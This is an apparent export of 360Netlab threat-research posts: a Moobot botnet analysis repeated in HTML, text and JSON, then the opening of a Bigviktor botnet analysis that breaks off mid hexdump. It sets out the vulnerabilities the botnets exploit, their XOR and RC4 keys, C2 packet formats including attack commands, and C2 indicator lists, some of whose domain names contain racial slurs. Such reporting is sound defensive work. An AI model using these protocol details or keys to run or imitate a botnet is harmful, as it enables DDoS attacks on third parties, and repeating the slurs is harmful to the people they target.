<p>Moobot is a Mirai based botnet. We first discovered its activity in July 2019. Here is our log about it<a href="__GHOST_URL__/the-botnet-cluster-on-185-244-25-0-24-en/">[0]</a>. And ever since then, its sample updates, DDoS attacks and other activities have never stopped.Recently we saw it participated in some very high profile DDoS attacks, we got asked quite a few times in the security community regarding to what botnet is behind the attacks, so here is some more details.</p>
<h1 id="sampledissemination">Sample dissemination</h1>
<p>Moobot samples are mainly spread through weak telnet passwords and some nday and 0day <a href="__GHOST_URL__/multiple-fiber-routers-are-being-compromised-by-botnets-using-0-day/">[1]</a><a href="__GHOST_URL__/multiple-botnets-are-spreading-using-lilin-dvr-0-day-en/">[2]</a>vulnerabilities. The vulnerabilities we observed using Moobot are as follows:</p>
<table>
<thead>
<tr>
<th>Vulnerability</th>
<th>Affected Aevice</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://habr.com/en/post/486856/">HiSilicon DVR/NVR Backdoor</a></td>
<td>Firmware for Xiaongmai-based DVRs, NVRs and IP cameras</td>
</tr>
<tr>
<td><a href="https://www.exploit-db.com/exploits/48268">CVE-2020-8515</a></td>
<td>DrayTek Vigor router</td>
</tr>
<tr>
<td><a href="https://www.exploit-db.com/exploits/41471/">JAWS Webserver unauthenticated shell command execution</a></td>
<td>MVPower DVR</td>
</tr>
<tr>
<td><a href="https://www.meritlilin.com/assets/uploads/support/file/M00158-TW.pdf">LILIN DVR</a></td>
<td>LILIN DVRs</td>
</tr>
<tr>
<td><a href="https://www.exploit-db.com/exploits/48225">GPON Router RCE</a></td>
<td>Netlink GPON Router 1.0.11</td>
</tr>
<tr>
<td><a href="https://github.com/mcw0/PoC/blob/master/TVT-PoC.py">TVT OEM API RCE</a></td>
<td>TVT Digital Technology Co. Ltd & OEM {DVR/NVR/IPC} API RCE</td>
</tr>
<tr>
<td><a href="https://www.exploit-db.com/exploits/45978">ThinkPHP 5.0.23/5.1.31 RCE</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://www.exploit-db.com/exploits/39328">Android Debug Bridge Remote Payload Execution</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://www.exploit-db.com/exploits/40500/">AVTECH Devices Multiple Vulnerabilities</a></td>
<td>AVTECH IP Camera / NVR / DVR Devices</td>
</tr>
<tr>
<td><a href="https://www.exploit-db.com/exploits/43414/">CVE-2017-17215</a></td>
<td>Huawei Router HG532</td>
</tr>
<tr>
<td><a href="https://www.rapid7.com/db/modules/exploit/linux/misc/netcore_udp_53413_backdoor">Netcore Router Udp 53413 Backdoor</a></td>
<td>Netcore Router</td>
</tr>
<tr>
<td><a href="https://www.exploit-db.com/exploits/37169/">CVE-2014-8361</a></td>
<td>Devices using the Realtek SDK</td>
</tr>
<tr>
<td><a href="https://www.exploit-db.com/exploits/48247">CVE_2020_5722</a></td>
<td>Grandstream UCM6202</td>
</tr>
<tr>
<td><a href="https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html">CVE-2017-8225</a></td>
<td>The Wireless IP Camera (P2P) WIFICAM</td>
</tr>
<tr>
<td><a href="__GHOST_URL__/the-new-developments-of-the-fbot-en/">DVRIP backdoor</a></td>
<td></td>
</tr>
</tbody>
</table>
<h1 id="sampleanalysis">Sample analysis</h1>
<p>In the previous article, we introduced many variants of Moobot. We believe that its author is more inclined to develop and use new methods than to simply change C2. The authors of Moobot had made many attempts at the sample binary level & network traffic level. Generally, samples used multiple combinations of the following methods to make job difficult for security researchers.</p>
<ul>
<li>Use DNS TXT to carry C2/ manually construct DNS TXT request</li>
<li>Packing with the new UPX magic number</li>
<li>Hidden sensitive resources using encryption method of code table replacement</li>
<li>Use SOCKS PROXY, TOR PROXY</li>
</ul>
<p>Since Jan 2020, another variant we called Moobot_xor became active. Moobot_xor doesn't adopt mothods metioned above,but just only modified the register message?). Maybe the author of Moobot has found that only one such simple modification and the constant replacement of C2 is needed to achieve very good benefits during the operation for up to 1 year, there is no need to invest in new technology research.</p>
<h3 id="sampleinformation">Sample information</h3>
<pre><code>MD5:98c8326b28163fdaeeb0b056f940ed72
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped
Packer:None
Lib:uclibc
Verdict: Moobot_xor
</code></pre>
<p>Moobot_xor is very close to Mirai, so we are not going to cover things folks already knew. We will only introduce Moobot_xor’s encryption method and the communication protocol, understanding the encryption method will help extract the bot's configuration information, knowing the communication protocol should facility tracking C2 to obtain the attack instructions, we hope that these contents can help the community to better fight the Moobot family.</p>
<h3 id="encryptionmethod">Encryption method</h3>
<p>Moobot_xor uses Mirai's classic Xor encryption and decryption method, the key is <code>0DEADBEEFh</code>,<br>
<a href="__GHOST_URL__/content/images/2020/07/moo_xor.png"><img src="__GHOST_URL__/content/images/2020/07/moo_xor.png" class="kg-image"/></a></p>
<h3 id="communicationprotocol">Communication protocol</h3>
<p>Moobot_xor has made some minor modifications on the basis of the Mirai communication protocol. Let’s look at a few of them here.</p>
<ul>
<li>Registration packet<br>
<a href="__GHOST_URL__/content/images/2020/07/moo_reg.png"><img src="__GHOST_URL__/content/images/2020/07/moo_reg.png" class="kg-image"/></a></li>
</ul>
<pre><code>msg parsing
----------------------------------------------------------------
33 66 99 -----> hardcoded magic
06 -----> group string length
67 6c 61 69 76 65 -----> group string,here it is "glaive"
</code></pre>
<ul>
<li>Heartbeat packet<br>
<a href="__GHOST_URL__/content/images/2020/07/moo_heart.png"><img src="__GHOST_URL__/content/images/2020/07/moo_heart.png" class="kg-image"/></a></li>
</ul>
<pre><code>msg parsing
----------------------------------------------------------------
00 00 -----> hardcoded msg from bot
00 00 -----> hardcoded msg from c2
</code></pre>
<ul>
<li>Attack command</li>
</ul>
<p><a href="__GHOST_URL__/content/images/2020/07/moo_atk.png"><img src="__GHOST_URL__/content/images/2020/07/moo_atk.png" class="kg-image"/></a></p>
<pre><code>msg parsing
----------------------------------------------------------------
similar to Mirai
01 -----> number of targets
77 a7 B5 CB 20 ----->target/mask, 119.167.181.203/32
02 -----> number of flags
00 -----> flag type
02 -----> flag length
32 30 -----> flag data
07 -----> flag type
02 -----> flag length
38 30 -----> flag data
</code></pre>
<h1 id="moobotddosactivity">Moobot DDoS activity</h1>
<p>Since we started tracking Moobot, its attack activity has never stopped. There are only a handful of C2s, but attack targets are all over the world, with about 100 targets per day.</p>
<h3 id="moobotstarget">Moobot's target</h3>
<p>The trend of Moobot's daily attack targets is shown in the figure below:：<br>
<a href="__GHOST_URL__/content/images/2020/07/moobot.ddos.target.png"><img src="__GHOST_URL__/content/images/2020/07/moobot.ddos.target.m.png" class="kg-image"/></a></p>
<p>It can be seen from the above figure that Moobot's DDoS attack activity has obvious anomalies from the end of March 2020 to the beginning of May 2020, and the daily attack target of Moobot has increased from a few hundred to nearly 20,000. When we took a close look, we found that Moobot's attack target surged because Moobot attacked about 48k of Brazilian IP during this period. We don’t know what was reason behind that. After taking Brazil our from the attack targets. Moobot's daily live attack targets are as follows, about 100 attack targets per day:<br>
<a href="__GHOST_URL__/content/images/2020/07/moobot.target.no.br.png"><img src="__GHOST_URL__/content/images/2020/07/moobot.target.no.br.m.png" class="kg-image"/></a></p>
<h3 id="moobotattacktargetgeographiclocationdistribution">Moobot attack target geographic location distribution</h3>
<p>Moobot's attack targets are all over the world.The geographical distribution of its attack targets is as follows:<br>
<a href="__GHOST_URL__/content/images/2020/07/moobot.target.geo.png"><img src="__GHOST_URL__/content/images/2020/07/moobot.target.geo.m-1.png" class="kg-image"/></a></p>
<h3 id="moobotattackstheaffecteddomainname">Moobot attacks the affected domain name</h3>
<p>We were able to confirm that Moobot has been behind some very high profile DDos attacks.We cannot disclose more detail here, but we had a tag cloud in our prior blog here<a href="__GHOST_URL__/the-botnet-cluster-on-185-244-25-0-24-en/">[3]</a>.</p>
<h1 id="contactus">Contact us</h1>
<p>Readers are always welcomed to reach us on <a href="https://twitter.com/360Netlab">Twitter</a>, WeChat 360Netlab or email to netlab at 360 dot cn.</p>
<h1 id="ioc">IOC</h1>
<h2 id="c2">C2</h2>
<pre><code>190.115.18.238 AS262254|DANCOM_LTD Russian_Federation|Moscow|Unknown
31.13.195.56 AS34224|Neterra_Ltd. Bulgaria|Sofia|Unknown
37.49.226.216 AS208666|Estro_Web_Services_Private_Limited Netherlands|Overijssel|Enschede
45.95.168.90 AS42864|Giganet_Internet_Szolgaltato_Kft Hungary|Szabolcs-Szatmar-Bereg_County|Nyiregyhaza
abcdefg.elrooted.com
audi.n1gger.com
botnetisharam.com
cykablyat.raiseyourdongers.pw
dbkjbueuvmf5hh7z.onion
frsaxhta.elrooted.com
gcc.cyberium.cc
n1gger.com
nd3rwzslqhxibkl7.onion
nlocalhost.wordtheminer.com
park.cyberium.cc
park.elrooted.com
proxy.2u0apcm6ylhdy7s.com
rr442myy7yz4.osrq.xyz
sisuugde7gzpef2d.onion
typicalniggerdayatthecoolaidparty.n1gger.com
wor.wordtheminer.com
zrqq.xyz
tbpsboy.com
</code></pre>
<!--kg-card-end: markdown--> | Overview
Moobot is a Mirai based botnet. We first discovered its activity in July 2019. Here is our log about it[0]. And ever since then, its sample updates, DDoS attacks and other activities have never stopped.Recently we saw it participated in some very high profile DDoS attacks, we got asked quite a few times in the security community regarding to what botnet is behind the attacks, so here is some more details.
Sample dissemination
Moobot samples are mainly spread through weak telnet passwords and some nday and 0day [1][2]vulnerabilities. The vulnerabilities we observed using Moobot are as follows:
Vulnerability
Affected Aevice
HiSilicon DVR/NVR Backdoor
Firmware for Xiaongmai-based DVRs, NVRs and IP cameras
CVE-2020-8515
DrayTek Vigor router
JAWS Webserver unauthenticated shell command execution
MVPower DVR
LILIN DVR
LILIN DVRs
GPON Router RCE
Netlink GPON Router 1.0.11
TVT OEM API RCE
TVT Digital Technology Co. Ltd & OEM {DVR/NVR/IPC} API RCE
ThinkPHP 5.0.23/5.1.31 RCE
Android Debug Bridge Remote Payload Execution
AVTECH Devices Multiple Vulnerabilities
AVTECH IP Camera / NVR / DVR Devices
CVE-2017-17215
Huawei Router HG532
Netcore Router Udp 53413 Backdoor
Netcore Router
CVE-2014-8361
Devices using the Realtek SDK
CVE_2020_5722
Grandstream UCM6202
CVE-2017-8225
The Wireless IP Camera (P2P) WIFICAM
DVRIP backdoor
Sample analysis
In the previous article, we introduced many variants of Moobot. We believe that its author is more inclined to develop and use new methods than to simply change C2. The authors of Moobot had made many attempts at the sample binary level & network traffic level. Generally, samples used multiple combinations of the following methods to make job difficult for security researchers.
* Use DNS TXT to carry C2/ manually construct DNS TXT request
* Packing with the new UPX magic number
* Hidden sensitive resources using encryption method of code table replacement
* Use SOCKS PROXY, TOR PROXY
Since Jan 2020, another variant we called Moobot_xor became active. Moobot_xor doesn't adopt mothods metioned above,but just only modified the register message?). Maybe the author of Moobot has found that only one such simple modification and the constant replacement of C2 is needed to achieve very good benefits during the operation for up to 1 year, there is no need to invest in new technology research.
Sample information
MD5:98c8326b28163fdaeeb0b056f940ed72
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped
Packer:None
Lib:uclibc
Verdict: Moobot_xor
Moobot_xor is very close to Mirai, so we are not going to cover things folks already knew. We will only introduce Moobot_xor’s encryption method and the communication protocol, understanding the encryption method will help extract the bot's configuration information, knowing the communication protocol should facility tracking C2 to obtain the attack instructions, we hope that these contents can help the community to better fight the Moobot family.
Encryption method
Moobot_xor uses Mirai's classic Xor encryption and decryption method, the key is 0DEADBEEFh,
Communication protocol
Moobot_xor has made some minor modifications on the basis of the Mirai communication protocol. Let’s look at a few of them here.
* Registration packet
msg parsing
----------------------------------------------------------------
33 66 99 -----> hardcoded magic
06 -----> group string length
67 6c 61 69 76 65 -----> group string,here it is "glaive"
* Heartbeat packet
msg parsing
----------------------------------------------------------------
00 00 -----> hardcoded msg from bot
00 00 -----> hardcoded msg from c2
* Attack command
msg parsing
----------------------------------------------------------------
similar to Mirai
01 -----> number of targets
77 a7 B5 CB 20 ----->target/mask, 119.167.181.203/32
02 -----> number of flags
00 -----> flag type
02 -----> flag length
32 30 -----> flag data
07 -----> flag type
02 -----> flag length
38 30 -----> flag data
Moobot DDoS activity
Since we started tracking Moobot, its attack activity has never stopped. There are only a handful of C2s, but attack targets are all over the world, with about 100 targets per day.
Moobot's target
The trend of Moobot's daily attack targets is shown in the figure below:：
It can be seen from the above figure that Moobot's DDoS attack activity has obvious anomalies from the end of March 2020 to the beginning of May 2020, and the daily attack target of Moobot has increased from a few hundred to nearly 20,000. When we took a close look, we found that Moobot's attack target surged because Moobot attacked about 48k of Brazilian IP during this period. We don’t know what was reason behind that. After taking Brazil our from the attack targets. Moobot's daily live attack targets are as follows, about 100 attack targets per day:
Moobot attack target geographic location distribution
Moobot's attack targets are all over the world.The geographical distribution of its attack targets is as follows:
Moobot attacks the affected domain name
We were able to confirm that Moobot has been behind some very high profile DDos attacks.We cannot disclose more detail here, but we had a tag cloud in our prior blog here[3].
Contact us
Readers are always welcomed to reach us on Twitter, WeChat 360Netlab or email to netlab at 360 dot cn.
IOC
C2
190.115.18.238 AS262254|DANCOM_LTD Russian_Federation|Moscow|Unknown
31.13.195.56 AS34224|Neterra_Ltd. Bulgaria|Sofia|Unknown
37.49.226.216 AS208666|Estro_Web_Services_Private_Limited Netherlands|Overijssel|Enschede
45.95.168.90 AS42864|Giganet_Internet_Szolgaltato_Kft Hungary|Szabolcs-Szatmar-Bereg_County|Nyiregyhaza
abcdefg.elrooted.com
audi.n1gger.com
botnetisharam.com
cykablyat.raiseyourdongers.pw
dbkjbueuvmf5hh7z.onion
frsaxhta.elrooted.com
gcc.cyberium.cc
n1gger.com
nd3rwzslqhxibkl7.onion
nlocalhost.wordtheminer.com
park.cyberium.cc
park.elrooted.com
proxy.2u0apcm6ylhdy7s.com
rr442myy7yz4.osrq.xyz
sisuugde7gzpef2d.onion
typicalniggerdayatthecoolaidparty.n1gger.com
wor.wordtheminer.com
zrqq.xyz
tbpsboy.com
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"# Overview\nMoobot is a Mirai based botnet. We first discovered its activity in July 2019. Here is our log about it[[0]](__GHOST_URL__/the-botnet-cluster-on-185-244-25-0-24-en/). And ever since then, its sample updates, DDoS attacks and other activities have never stopped.Recently we saw it participated in some very high profile DDoS attacks, we got asked quite a few times in the security community regarding to what botnet is behind the attacks, so here is some more details.\n\n# Sample dissemination\nMoobot samples are mainly spread through weak telnet passwords and some nday and 0day [[1]](__GHOST_URL__/multiple-fiber-routers-are-being-compromised-by-botnets-using-0-day/)[[2]](__GHOST_URL__/multiple-botnets-are-spreading-using-lilin-dvr-0-day-en/)vulnerabilities. The vulnerabilities we observed using Moobot are as follows:\n\n| Vulnerability | Affected Aevice |\n| ------------- | ---------------- |\n| [HiSilicon DVR/NVR Backdoor](https://habr.com/en/post/486856/) | Firmware for Xiaongmai-based DVRs, NVRs and IP cameras |\n| [CVE-2020-8515](https://www.exploit-db.com/exploits/48268) | DrayTek Vigor router |\n| [JAWS Webserver unauthenticated shell command execution](https://www.exploit-db.com/exploits/41471/) | MVPower DVR | \n| [LILIN DVR](https://www.meritlilin.com/assets/uploads/support/file/M00158-TW.pdf) | LILIN DVRs | \n| [GPON Router RCE](https://www.exploit-db.com/exploits/48225) | Netlink GPON Router 1.0.11 |\n| [TVT OEM API RCE](https://github.com/mcw0/PoC/blob/master/TVT-PoC.py) | TVT Digital Technology Co. Ltd & OEM {DVR/NVR/IPC} API RCE |\n| [ThinkPHP 5.0.23/5.1.31 RCE](https://www.exploit-db.com/exploits/45978) | |\n| [Android Debug Bridge Remote Payload Execution](https://www.exploit-db.com/exploits/39328) | |\n| [AVTECH Devices Multiple Vulnerabilities](https://www.exploit-db.com/exploits/40500/) | AVTECH IP Camera / NVR / DVR Devices |\n| [CVE-2017-17215](https://www.exploit-db.com/exploits/43414/) | Huawei Router HG532 |\n| [Netcore Router Udp 53413 Backdoor](https://www.rapid7.com/db/modules/exploit/linux/misc/netcore_udp_53413_backdoor) | Netcore Router |\n| [CVE-2014-8361](https://www.exploit-db.com/exploits/37169/) | Devices using the Realtek SDK|\n| [CVE_2020_5722](https://www.exploit-db.com/exploits/48247) | Grandstream UCM6202 |\n| [CVE-2017-8225](https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html) | The Wireless IP Camera (P2P) WIFICAM |\n| [DVRIP backdoor](__GHOST_URL__/the-new-developments-of-the-fbot-en/) | |\n\n# Sample analysis\nIn the previous article, we introduced many variants of Moobot. We believe that its author is more inclined to develop and use new methods than to simply change C2. The authors of Moobot had made many attempts at the sample binary level & network traffic level. Generally, samples used multiple combinations of the following methods to make job difficult for security researchers.\n\n- Use DNS TXT to carry C2/ manually construct DNS TXT request\n- Packing with the new UPX magic number\n- Hidden sensitive resources using encryption method of code table replacement\n- Use SOCKS PROXY, TOR PROXY\n\nSince Jan 2020, another variant we called Moobot_xor became active. Moobot_xor doesn't adopt mothods metioned above,but just only modified the register message?). Maybe the author of Moobot has found that only one such simple modification and the constant replacement of C2 is needed to achieve very good benefits during the operation for up to 1 year, there is no need to invest in new technology research.\n\n### Sample information\n\n```\nMD5:98c8326b28163fdaeeb0b056f940ed72\nELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped\nPacker:None\nLib:uclibc\nVerdict: Moobot_xor\n```\n\nMoobot_xor is very close to Mirai, so we are not going to cover things folks already knew. We will only introduce Moobot_xor’s encryption method and the communication protocol, understanding the encryption method will help extract the bot's configuration information, knowing the communication protocol should facility tracking C2 to obtain the attack instructions, we hope that these contents can help the community to better fight the Moobot family.\n\n### Encryption method\n\nMoobot_xor uses Mirai's classic Xor encryption and decryption method, the key is ```0DEADBEEFh```,\n<a href=\"__GHOST_URL__/content/images/2020/07/moo_xor.png\"><img src=\"__GHOST_URL__/content/images/2020/07/moo_xor.png\" class=\"kg-image\"/></a>\n\n\n### Communication protocol\nMoobot_xor has made some minor modifications on the basis of the Mirai communication protocol. Let’s look at a few of them here.\n* Registration packet\n<a href=\"__GHOST_URL__/content/images/2020/07/moo_reg.png\"><img src=\"__GHOST_URL__/content/images/2020/07/moo_reg.png\" class=\"kg-image\"/></a>\n```\nmsg parsing\n----------------------------------------------------------------\n33 66 99 \t\t\t\t\t-----> hardcoded magic\n06\t\t\t\t\t\t\t-----> group string length\n67 6c 61 69 76 65\t\t\t-----> group string,here it is \"glaive\"\n```\n\n* Heartbeat packet\n<a href=\"__GHOST_URL__/content/images/2020/07/moo_heart.png\"><img src=\"__GHOST_URL__/content/images/2020/07/moo_heart.png\" class=\"kg-image\"/></a>\n```\nmsg parsing\n----------------------------------------------------------------\n00 00 \t\t\t\t\t-----> hardcoded msg from bot\n00 00\t\t\t\t\t-----> hardcoded msg from c2\t\n```\n\n* Attack command \n\n<a href=\"__GHOST_URL__/content/images/2020/07/moo_atk.png\"><img src=\"__GHOST_URL__/content/images/2020/07/moo_atk.png\" class=\"kg-image\"/></a>\n```\nmsg parsing\n----------------------------------------------------------------\nsimilar to Mirai\n\n01 \t\t\t\t\t\t-----> number of targets\n\n\t77 a7 B5 CB 20\t\t----->target/mask, 119.167.181.203/32\n\n02\t\t\t\t\t\t-----> number of flags\n\n\t00\t\t\t\t\t-----> flag type\n\t02\t\t\t\t\t-----> flag length\n\t32 30\t\t\t\t-----> flag data\n\t\n\t\n\t07\t\t\t\t\t-----> flag type\n\t02\t\t\t\t\t-----> flag length\n\t38 30\t\t\t\t-----> flag data\n\t\n\t\n```\n\n\n# Moobot DDoS activity\n\nSince we started tracking Moobot, its attack activity has never stopped. There are only a handful of C2s, but attack targets are all over the world, with about 100 targets per day.\n\n### Moobot's target\nThe trend of Moobot's daily attack targets is shown in the figure below:：\n<a href=\"__GHOST_URL__/content/images/2020/07/moobot.ddos.target.png\"><img src=\"__GHOST_URL__/content/images/2020/07/moobot.ddos.target.m.png\" class=\"kg-image\"/></a>\n\nIt can be seen from the above figure that Moobot's DDoS attack activity has obvious anomalies from the end of March 2020 to the beginning of May 2020, and the daily attack target of Moobot has increased from a few hundred to nearly 20,000. When we took a close look, we found that Moobot's attack target surged because Moobot attacked about 48k of Brazilian IP during this period. We don’t know what was reason behind that. After taking Brazil our from the attack targets. Moobot's daily live attack targets are as follows, about 100 attack targets per day:\n<a href=\"__GHOST_URL__/content/images/2020/07/moobot.target.no.br.png\"><img src=\"__GHOST_URL__/content/images/2020/07/moobot.target.no.br.m.png\" class=\"kg-image\"/></a>\n\n\n### Moobot attack target geographic location distribution\nMoobot's attack targets are all over the world.The geographical distribution of its attack targets is as follows:\n<a href=\"__GHOST_URL__/content/images/2020/07/moobot.target.geo.png\"><img src=\"__GHOST_URL__/content/images/2020/07/moobot.target.geo.m-1.png\" class=\"kg-image\"/></a>\n\n### Moobot attacks the affected domain name\n\nWe were able to confirm that Moobot has been behind some very high profile DDos attacks.We cannot disclose more detail here, but we had a tag cloud in our prior blog here[[3]](__GHOST_URL__/the-botnet-cluster-on-185-244-25-0-24-en/).\n\n# Contact us\nReaders are always welcomed to reach us on [Twitter](https://twitter.com/360Netlab), WeChat 360Netlab or email to netlab at 360 dot cn.\n# IOC\n## C2\n```\n190.115.18.238 AS262254|DANCOM_LTD Russian_Federation|Moscow|Unknown\n31.13.195.56 AS34224|Neterra_Ltd. Bulgaria|Sofia|Unknown\n37.49.226.216 AS208666|Estro_Web_Services_Private_Limited Netherlands|Overijssel|Enschede\n45.95.168.90 AS42864|Giganet_Internet_Szolgaltato_Kft Hungary|Szabolcs-Szatmar-Bereg_County|Nyiregyhaza\nabcdefg.elrooted.com\naudi.n1gger.com\nbotnetisharam.com\ncykablyat.raiseyourdongers.pw\ndbkjbueuvmf5hh7z.onion\nfrsaxhta.elrooted.com\ngcc.cyberium.cc\nn1gger.com\nnd3rwzslqhxibkl7.onion\nnlocalhost.wordtheminer.com\npark.cyberium.cc\npark.elrooted.com\nproxy.2u0apcm6ylhdy7s.com\nrr442myy7yz4.osrq.xyz\nsisuugde7gzpef2d.onion\ntypicalniggerdayatthecoolaidparty.n1gger.com\nwor.wordtheminer.com\nzrqq.xyz\ntbpsboy.com\n```"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 5f0694037646030007b28261 |
post | null | 2020-07-10T05:24:43.000Z | 63873b9a8b1c1e0007f52f7a | bigviktor-dga-botnet | 0 | 2020-07-11T10:47:48.000Z | public | published | null | 2020-07-10T14:28:41.000Z | The new Bigviktor Botnet is Targeting DrayTek Vigor Router | <!--kg-card-begin: markdown--><h2 id="overview">Overview</h2>
<p>On June 17, 2020, 360Netlab Threat Detecting System flagged an interesting ELF sample (<code>dd7c9d99d8f7b9975c29c803abdf1c33</code>), further analysis shows that this is a DDos Bot program that propagates through the <a href="https://nvd.nist.gov/vuln/detail/CVE-2020-8515">CVE-2020-8515</a> vulnerability which targets the DrayTek Vigor router device, and it uses DGA (Domain generation algorithm) to generate C2 domain names.</p>
<p>The program uses "viktor" as file name (<code> /tmp/viktor</code>) in the propagation process, also a special string <code>0xB16B00B5</code>(big boobs) was used in the sample , we combined the two and named it <strong>Bigviktor</strong>.</p>
<p>From the network’s perspective, Bigviktor’s DGA generates 1000 domain names every month, and traverses the 1000 domain names by requesting RC4 encryption & ECSDA256 signed <strong>s.jpeg</strong> , When a live C2 responses the request, bot then takes the next step to request for <strong>image.jpeg</strong> from C2 to get more instructions.</p>
<p>Bigviktor supports 8 kinds of instructions, which can be divided into 2 major functions</p>
<p>• DDoS attack<br>
• Self-renewal</p>
<p>The overall network structure is shown in the figure,</p>
<p><a href="__GHOST_URL__/content/images/2020/07/bigviktor_brief.png"><img src="__GHOST_URL__/content/images/2020/07/bigviktor_brief.png" class="kg-image"/></a></p>
<h2 id="botnetscale">Botnet scale</h2>
<h3 id="dailyactivebot">Daily Active Bot</h3>
<p>DGA is a double-edged sword. While giving the author good chance to evade detection, it also gives security researcher the opportunity to register domain names to hijack infected hosts of botnets.<br>
We registered several domains names generated by Bigviktor in June and July (<code>workfrequentsentence.club</code> , <code>waitcornermountain.club</code>), so we were able to tap into it network to measure the scale of the Botnet. As of now we only see about 900 active infected IPs. However, When taking a look at the requests of Bigviktor DGA domain name, we can see the trend is steadily going up. Its daily active Bot trend is shown in the figure below:</p>
<p><a href="__GHOST_URL__/content/images/2020/07/bigviktor.dns.req.png"><img src="__GHOST_URL__/content/images/2020/07/bigviktor.dns.req.m.png" class="kg-image"/></a></p>
<h3 id="botgeographiclocation">Bot geographic location</h3>
<p>The IP area distribution of infected devices is as follows:<br>
<a href="__GHOST_URL__/content/images/2020/07/bigvictor.geo.png"><img src="__GHOST_URL__/content/images/2020/07/bigvictor.geo.m.png" class="kg-image"/></a><br>
The main ASN distribution of these IPs is as follows:</p>
<pre><code>412 AS45899|VNPT_Corp
194 AS7552|Viettel_Group
190 AS18403|The_Corporation_for_Financing_&_Promoting_Technology
90 AS3462|Data_Communication_Business_Group
82 AS15525|Servicos_De_Comunicacoes_E_Multimedia_S.A.
66 AS8151|Uninet_S.A._de_C.V.
52 AS45903|CMC_Telecom_Infrastructure_Company
34 AS3352|Telefonica_De_Espana
28 AS17552|True_Internet_Co.,Ltd.
22 AS8881|1&1_Versatel_Deutschland_GmbH
</code></pre>
<h3 id="infecteddevice">Infected device</h3>
<p>By obtaining the title of the infected device's 80, 8080, and 443 port web pages, we know that the currently distributed version of the infected DrayTek Vigor router is:</p>
<pre><code>269 Vigor 2960
107 Vigor 3900
87 Vigor 300B
</code></pre>
<h2 id="reverseanalysis">Reverse analysis</h2>
<p>We have captured a total of 2 versions. The first version of the bot program seems to have bugs and cannot run normally. This article uses the latest version as an example for reverse analysis.</p>
<pre><code>MD5:dd7c9d99d8f7b9975c29c803abdf1c33
ELF 32-bit LSB executable, ARM, version 1 (SYSV), statically linked, stripped
Packer: None
</code></pre>
<p>Generally speaking, the Bigviktor function is relatively simple. It binds a local port at runtime to implement a single instance, uses the RC4 algorithm to decrypt sensitive resources, including the strings to be used by DGA, and then uses DGA to generate 1000 C2 domain names based on these strings. Then the bot uses the libcurl library to send a request to the built-in legit websites to test network connectivity. If the network is up, it moves on to next step to request the s.jpeg from the C2 domain to verify the legitimacy of C2; after passing the legality test, it goes to final step to request the male.jpeg and image.jpeg resources from the C2 domain to conduct DDos attack.</p>
<p>We can roughly divide the bot behaviors into two categories: auxiliary behavior and malicious behavior, let us take a close look.</p>
<h2 id="auxiliarybehavior">Auxiliary behavior</h2>
<h4 id="1uselibcurllibrarytoaccessnetworkresources">1: Use libcurl library to access network resources</h4>
<pre><code>DNS Option:
1.1.1.1,8.8.8.8
User-Agent Option:
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
Accept Option:
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
</code></pre>
<h4 id="2bindport61322toimplementasingleinstance">2: Bind port 61322 to implement a single instance</h4>
<p><a href="__GHOST_URL__/content/images/2020/07/bigviktor_single.png"><img src="__GHOST_URL__/content/images/2020/07/bigviktor_single.png" class="kg-image"/></a></p>
<h4 id="3rc4encryptssensitiveresourcestheresourcesincludethestingsrequiredbydgalegitwebsitesupgradefilestoragepathetc">3: RC4 encrypts sensitive resources, the resources include the stings required by DGA, legit websites, upgrade file storage path, etc.</h4>
<p><a href="__GHOST_URL__/content/images/2020/07/bigviktor_rc.png"><img src="__GHOST_URL__/content/images/2020/07/bigviktor_rc.png" class="kg-image"/></a><br>
The RC4 key is</p>
<pre><code>DA B2 F1 F7 32 FD 03 BA 58 DB FF 53 8B F2 6F 01
02 FF 00 01 03 05 00 DE 02 FF 00 01 7C DF 92 91
</code></pre>
<p>Take the suffixes required by DGA to generate domain as an example, the ciphertext is as follows</p>
<pre><code>00000000 34 f5 96 77 11 66 35 4f 1d ae b6 04 57 77 79 9d |4õ.w.f5O.®¶.Wwy.|
00000010 db 36 d4 a8 38 5a e2 9f 6a a2 79 bf 6a 6f bf 2f |Û6Ô¨8Zâ.j¢y¿jo¿/|
00000020 cb 84 63 d4 70 c7 64 11 c6 d0 71 b3 f0 bb 54 c9 |Ë.cÔpÇd.ÆÐq³ð»TÉ|
00000030 cc f7 50 60 e2 53 72 1a ae 87 61 17 88 b0 2a 04 |Ì÷P`âSr.®.a..°*.|
00000040 71 ec f8 3d cc 42 8b 28 27 81 9b 4d 80 0c 50 3f |qìø=ÌB.('..M..P?|
00000050 d5 01 4b 8d 62 48 7f 88 7f a0 09 b9 53 b0 a0 0d |Õ.K.bH... .¹S° .|
00000060 41 6c 59 cd 2a 42 36 f1 71 71 12 bf fd 59 66 52 |AlYÍ*B6ñqq.¿ýYfR|
00000070 b2 ab c4 1e c5 30 14 19 c8 08 82 ee 29 8c 54 ab |²«Ä.Å0..È..î).T«|
00000080 34 99 0e f1 15 c8 e6 69 5e 33 3c c7 c6 ee 44 8a |4..ñ.Èæi^3<ÇÆîD.|
00000090 c2 b4 7c 76 fc 08 cf cd 0c db 34 82 e0 08 40 52 |´|vü.ÏÍ.Û4.à.@R|
000000a0 07 ec d4 0e e9 57 ee 4f 2d 0b 7e 19 51 75 b4 10 |.ìÔ.éWîO-.~.Qu´.|
000000b0 3b 97 d8 29 64 aa 4b 5c 67 77 16 b6 36 4b 6d c2 |;.Ø)dªK\gw.¶6KmÂ|
000000c0 47 09 bd b0 a7 d4 43 21 2c e5 af 41 8a ea 25 dc |G.½°§ÔC!,å¯A.ê%Ü|
000000d0 fe d3 18 28 bc 19 07 19 cd f0 84 51 9e 6a 3e b1 |þÓ.(¼...Íð.Q.j>±|
000000e0 5f 2a e0 13 51 ba 62 46 26 83 86 63 0b ed ad be |_*à.QºbF&..c.í.¾|
